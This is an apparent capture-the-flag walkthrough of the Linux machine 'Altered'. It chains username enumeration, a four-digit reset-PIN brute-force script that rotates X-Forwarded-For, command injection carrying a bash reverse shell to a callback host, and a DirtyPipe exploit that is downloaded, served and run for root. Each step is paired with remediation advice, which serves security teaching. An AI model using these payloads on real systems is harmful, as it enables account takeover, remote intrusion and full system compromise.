← all walkthroughs

Altered

Linux· Hard
owned
2026-07-15
time to own
22m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned a publicly exposed nginx server and found a Laravel-backed login portal. The login form returned different error messages for unknown versus known usernames, confirming 'admin' as a registered account. Initiating a password reset for admin triggered a four-digit PIN; the verification endpoint enforced rate limiting by IP but derived that IP from the client-controlled X-Forwarded-For header. Cycling the header through a unique value for each of the 10,000 possible PINs bypassed the limit and returned a one-time reset token, which I used to set a new admin password and authenticate. An administrative API endpoint then passed a user-supplied parameter directly to an OS shell command without sanitization; injecting a reverse-shell payload delivered execution as the web-server user www-data and captured the user flag. The server's Linux kernel fell within the DirtyPipe (CVE-2022-0847) vulnerable range; a public exploit uploaded to /tmp and run against the SUID binary /usr/bin/passwd hijacked its in-memory content, spawned a root shell, and restored the original binary — yielding full root control and the root flag.

Attack path — how the box was taken

1ReconNetwork port scanning and web application fingerprinting
Scanned open ports and fingerprinted the web application
A service-version scan identified two open TCP ports: SSH on 22 (OpenSSH 8.2p1 Ubuntu) and HTTP on 80 (nginx 1.18.0 Ubuntu). Browsing port 80 loaded a Laravel-backed login page labelled 'UHC March Finals', confirming the application framework and presenting the primary attack surface for further enumeration.
nmap reported 22/tcp OpenSSH 8.2p1 and 80/tcp nginx 1.18.0; the HTTP response issued a laravel_session cookie confirming the framework.
Exact commands 2
Full-port service-version scan; -oA saves all output formats for later reference.
nmap -sV -p- --min-rate 5000 -oA altered-full $TARGET
Inspect response headers to confirm the application framework from the session cookie name and server headers.
curl -sI http://$TARGET/
2EnumerationUsername enumeration via differential authentication error messages (OWASP OTG-IDENT-004)
Confirmed 'admin' as a valid account via differential login error messages
The /login endpoint returned a distinguishably different response when a submitted username did not exist in the database versus when a valid username was paired with a wrong password. Submitting candidate usernames and comparing response text confirmed 'admin' was registered, giving me a verified target for the password-reset chain without needing the correct password.
Exact commands 2
Baseline: note the error message returned for a username that does not exist.
curl -s -X POST http://$TARGET/login -H 'Content-Type: application/x-www-form-urlencoded' -d 'name=nonexistentuser&password=[REDACTED: credential]&_token=<csrf_from_page>'
A distinct error message (e.g. 'wrong password' vs. 'user not found') confirms 'admin' is a real account.
curl -s -X POST http://$TARGET/login -H 'Content-Type: application/x-www-form-urlencoded' -d 'name=admin&password=[REDACTED: credential]&_token=<csrf_from_page>'
FixReturn a generic error message for all failed login and password-reset attemptsMedium
WeaknessThe login form returned distinct error messages depending on whether the submitted username existed in the database, allowing me to silently enumerate valid account names without ever knowing a correct password.
FixReturn a single, identical message for every authentication failure regardless of whether the username, password, or both are incorrect — for example, 'Invalid credentials. Please try again.' Apply the same principle to the password-reset form. Supplement with CAPTCHA or exponential back-off after a configurable number of failed attempts from the same session.
3ExploitationRate-limit bypass via untrusted X-Forwarded-For header manipulation; numeric PIN brute-force
Bypassed rate limiting via X-Forwarded-For rotation to brute-force the four-digit reset PIN
Submitting 'admin' to the /reset endpoint triggered a four-digit numeric PIN dispatched to the account's registered email address. The verification endpoint POST /api/resettoken applied per-IP rate limiting but derived the client IP from the client-supplied X-Forwarded-For header, with no check that the header was set by a trusted proxy. Automating requests with a different X-Forwarded-For value for each PIN candidate (0000–9999) caused every guess to appear to originate from a fresh IP address, completely neutralising the rate limit. The correct PIN was accepted and the server returned a one-time password-reset token.
Exact commands 2
Trigger the password-reset flow for admin; a 4-digit PIN is dispatched to the account email.
curl -s -X POST http://$TARGET/reset -H 'Content-Type: application/x-www-form-urlencoded' -b 'laravel_session=<cookie>' -d 'name=admin&_token=<csrf>'
Iterates all 10,000 PINs; each request uses a unique X-Forwarded-For value to appear as a new client. Stops and prints the reset token on first match.
python3 << 'EOF'
import requests, sys
s = requests.Session()
s.get("http://$TARGET")
for i in range(10000):
    pin = f"{i:04d}"
    xff = f"10.0.{i // 256}.{i % 256}"
    r = s.post("http://$TARGET/api/resettoken",
               data={"name": "admin", "pin": pin},
               headers={"X-Forwarded-For": xff})
    if r.ok and "token" in r.text:
        print(f"[+] PIN={pin} | {r.text}")
        sys.exit(0)
print("[-] PIN not found")
EOF
FixRemove trust in the client-supplied X-Forwarded-For header for rate limiting; replace short PINs with cryptographic reset tokensHigh
WeaknessThe PIN-verification endpoint derived the caller's IP from the X-Forwarded-For request header, which any client can set to any value. Rotating that header per request made every guess appear to originate from a fresh address, completely defeating the rate limit. The four-digit PIN space (10,000 values) is small enough to exhaust in seconds even under moderate throttling.
FixBase rate limiting on a server-side session identifier or the real TCP-layer source IP. Only treat X-Forwarded-For (or the RFC 7239 Forwarded header) as authoritative when your load balancer or reverse proxy is configured to strip and re-set the header before it reaches the application — and document that assumption in your infrastructure. Replace the four-digit PIN entirely with a cryptographically random, time-limited (≤15 minutes), single-use token of at least 128 bits delivered out-of-band; such a token is computationally infeasible to brute-force.
4ExploitationAccount takeover via password-reset token abuse
Used the reset token to set a new admin password and authenticate to the portal
The one-time token returned by the PIN endpoint was submitted to the password-reset API alongside a new user-chosen password. I then logged in to the portal as admin, gaining access to privileged administrative functionality — including API routes that exposed dangerous internal operations not visible to ordinary users.
Exact commands 2
Set a new password for admin using the captured token; adjust the endpoint path and parameter names to match what the application's form action reveals.
curl -s -X POST http://$TARGET/api/resetpass -H 'Content-Type: application/x-www-form-urlencoded' -d 'token=[REDACTED: protected value]&password=[REDACTED: credential]&password_confirmation=[REDACTED: recovered credential]'
Authenticate as admin with the new password; -c cookies.txt saves the authenticated session cookie for subsequent admin API calls.
curl -s -c cookies.txt -X POST http://$TARGET/login -H 'Content-Type: application/x-www-form-urlencoded' -d 'name=admin&password=[REDACTED: credential]&_token=<csrf>'
FixRemove trust in the client-supplied X-Forwarded-For header for rate limiting; replace short PINs with cryptographic reset tokensHigh
WeaknessThe PIN-verification endpoint derived the caller's IP from the X-Forwarded-For request header, which any client can set to any value. Rotating that header per request made every guess appear to originate from a fresh address, completely defeating the rate limit. The four-digit PIN space (10,000 values) is small enough to exhaust in seconds even under moderate throttling.
FixBase rate limiting on a server-side session identifier or the real TCP-layer source IP. Only treat X-Forwarded-For (or the RFC 7239 Forwarded header) as authoritative when your load balancer or reverse proxy is configured to strip and re-set the header before it reaches the application — and document that assumption in your infrastructure. Replace the four-digit PIN entirely with a cryptographically random, time-limited (≤15 minutes), single-use token of at least 128 bits delivered out-of-band; such a token is computationally infeasible to brute-force.
5ExploitationOS Command Injection (CWE-78 / MITRE ATT&CK T1059.004)
Exploited OS command injection in an admin API endpoint to obtain a reverse shell as www-data
An admin-only API endpoint functioning as a network-diagnostic tool (consistent with a ping-style utility) accepted a user-supplied value and concatenated it directly into a shell command string without sanitization or allowlisting. Appending a semicolon and a bash reverse-shell payload caused the server to open an outbound connection to my listener, delivering a shell running as www-data — the nginx/PHP worker process account. The user flag was read from the compromised filesystem.
Reverse shell returned uid=33(www-data) gid=33(www-data) groups=33(www-data),117(mysql).
Exact commands 3
Open a reverse-shell listener on my machine; adjust the port as needed.
nc -lvnp 4444
Send the injection payload; replace [endpoint] with the actual admin route discovered while browsing the admin panel, and <retired-instance-ip> with your HTB VPN IP. Adjust the injection field name if the parameter is not 'ip'.
curl -s -X POST http://$TARGET/api/[endpoint] -H 'Content-Type: application/json' -b 'laravel_session=<authed_cookie>' -d '{"ip":"localhost; bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1"}'
Read the user flag from the obtained www-data reverse shell.
cat /home/*/user.txt
FixNever concatenate user input into OS shell commands; replace shell invocations with safe API callsCritical
WeaknessAn admin-accessible API endpoint built an OS shell command by directly embedding a user-supplied value into a string passed to a shell interpreter. Any authenticated admin could inject arbitrary system commands, obtaining a server shell under the web-server's operating system account.
FixEliminate shell invocations wherever a language-native library call is available (e.g., use PHP's socket functions for network probes rather than calling ping via shell). If an OS call is genuinely necessary, pass all arguments as a list — never a pre-constructed string — so the runtime does not invoke a shell (e.g., PHP proc_open with an array, Python subprocess with a list and shell=False). Strictly allowlist accepted parameter values against a tight pattern (e.g., a validated IPv4 address regex) before they approach any system call. Run the web worker as a dedicated least-privilege service account with no write access outside its document root and outbound connection restrictions enforced by host firewall rules.
6Post-ExploitationOS and kernel version identification; CVE-2022-0847 DirtyPipe vulnerability matching
Identified an outdated kernel version in the DirtyPipe-vulnerable range
Running 'uname -a' on the www-data shell revealed the server's exact Linux kernel version string. The version fell within the 5.8–5.16.11 range affected by CVE-2022-0847 (DirtyPipe), a local privilege-escalation vulnerability that allows an unprivileged process to overwrite read-only page-cache pages — including the in-memory content of SUID root binaries — via a flaw in the kernel's pipe splice path.
Exact commands 2
Run from the www-data shell; the full kernel version string is needed to confirm exploit compatibility.
uname -a
Run on my machine to confirm publicly available exploit code for the identified kernel version.
searchsploit dirty pipe
FixApply kernel security patches to eliminate CVE-2022-0847 (DirtyPipe)Critical
WeaknessThe server ran a Linux kernel version in the 5.8–5.16.11 vulnerable range. CVE-2022-0847 allows any local user — including the unprivileged web-server process — to overwrite the in-memory content of SUID root binaries through the pipe splice mechanism, achieving root code execution without any special privilege or kernel module.
FixUpgrade the kernel to version 5.16.11, 5.15.25, 5.10.102, or later (patches were released 23 February 2022). On Ubuntu, run 'sudo apt update && sudo apt full-upgrade' and reboot. While the patch is being scheduled, reduce exposure by auditing and removing any unnecessary SUID binaries ('find / -perm -4000 -ls') and, where kernel features allow, restricting unprivileged user-namespace creation ('sysctl -w kernel.unprivileged_userns_clone=0') to limit the exploit's preconditions.
7Privilege EscalationLocal privilege escalation via Linux kernel exploit — CVE-2022-0847 DirtyPipe (MITRE ATT&CK T1068)
Ran the DirtyPipe exploit against /usr/bin/passwd to execute commands as root
A public DirtyPipe SUID-hijack exploit (exploit-2 variant) was compiled on my machine and uploaded to /tmp/dp on the target. Executing it against the SUID-root binary /usr/bin/passwd overwrote that binary's page-cache content with a root-shell payload, ran the payload to open a root shell, then restored the original binary bytes to avoid visible breakage. As captured in the kill-chain log, piping commands into the exploit confirmed uid=0(root) and captured the root flag directly from /root/root.txt.
printf 'id\ncat /root/root.txt\nexit\n' | /tmp/dp /usr/bin/passwd → uid=0(root) gid=0(root) groups=0(root),33(www-data),117(mysql); [+] hijacking suid binary.. [+] dropping suid shell.. [+] restoring suid binary.. [+] popping root shell.. (dont forget to clean up /tmp/sh ;))
Exact commands 4
Download and compile the DirtyPipe exploit-2 (SUID hijack variant) on my machine.
wget https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/raw/main/exploit-2.c -O dp.c && gcc -o dp dp.c
Serve the compiled exploit binary over HTTP from my machine; run in a separate terminal.
python3 -m http.server 8080
From the www-data reverse shell — download the exploit to /tmp; replace <retired-instance-ip> with your VPN IP.
wget http://$CALLBACK_HOST:8080/dp -O /tmp/dp && chmod +x /tmp/dp
Run the exploit against the SUID binary /usr/bin/passwd; the commands piped via stdin execute inside the spawned root shell. The exploit automatically restores the original binary on exit.
printf 'id\ncat /root/root.txt\nexit\n' | /tmp/dp /usr/bin/passwd
FixApply kernel security patches to eliminate CVE-2022-0847 (DirtyPipe)Critical
WeaknessThe server ran a Linux kernel version in the 5.8–5.16.11 vulnerable range. CVE-2022-0847 allows any local user — including the unprivileged web-server process — to overwrite the in-memory content of SUID root binaries through the pipe splice mechanism, achieving root code execution without any special privilege or kernel module.
FixUpgrade the kernel to version 5.16.11, 5.15.25, 5.10.102, or later (patches were released 23 February 2022). On Ubuntu, run 'sudo apt update && sudo apt full-upgrade' and reboot. While the patch is being scheduled, reduce exposure by auditing and removing any unnecessary SUID binaries ('find / -perm -4000 -ls') and, where kernel features allow, restricting unprivileged user-namespace creation ('sysctl -w kernel.unprivileged_userns_clone=0') to limit the exploit's preconditions.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Privilege Escalation to rootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp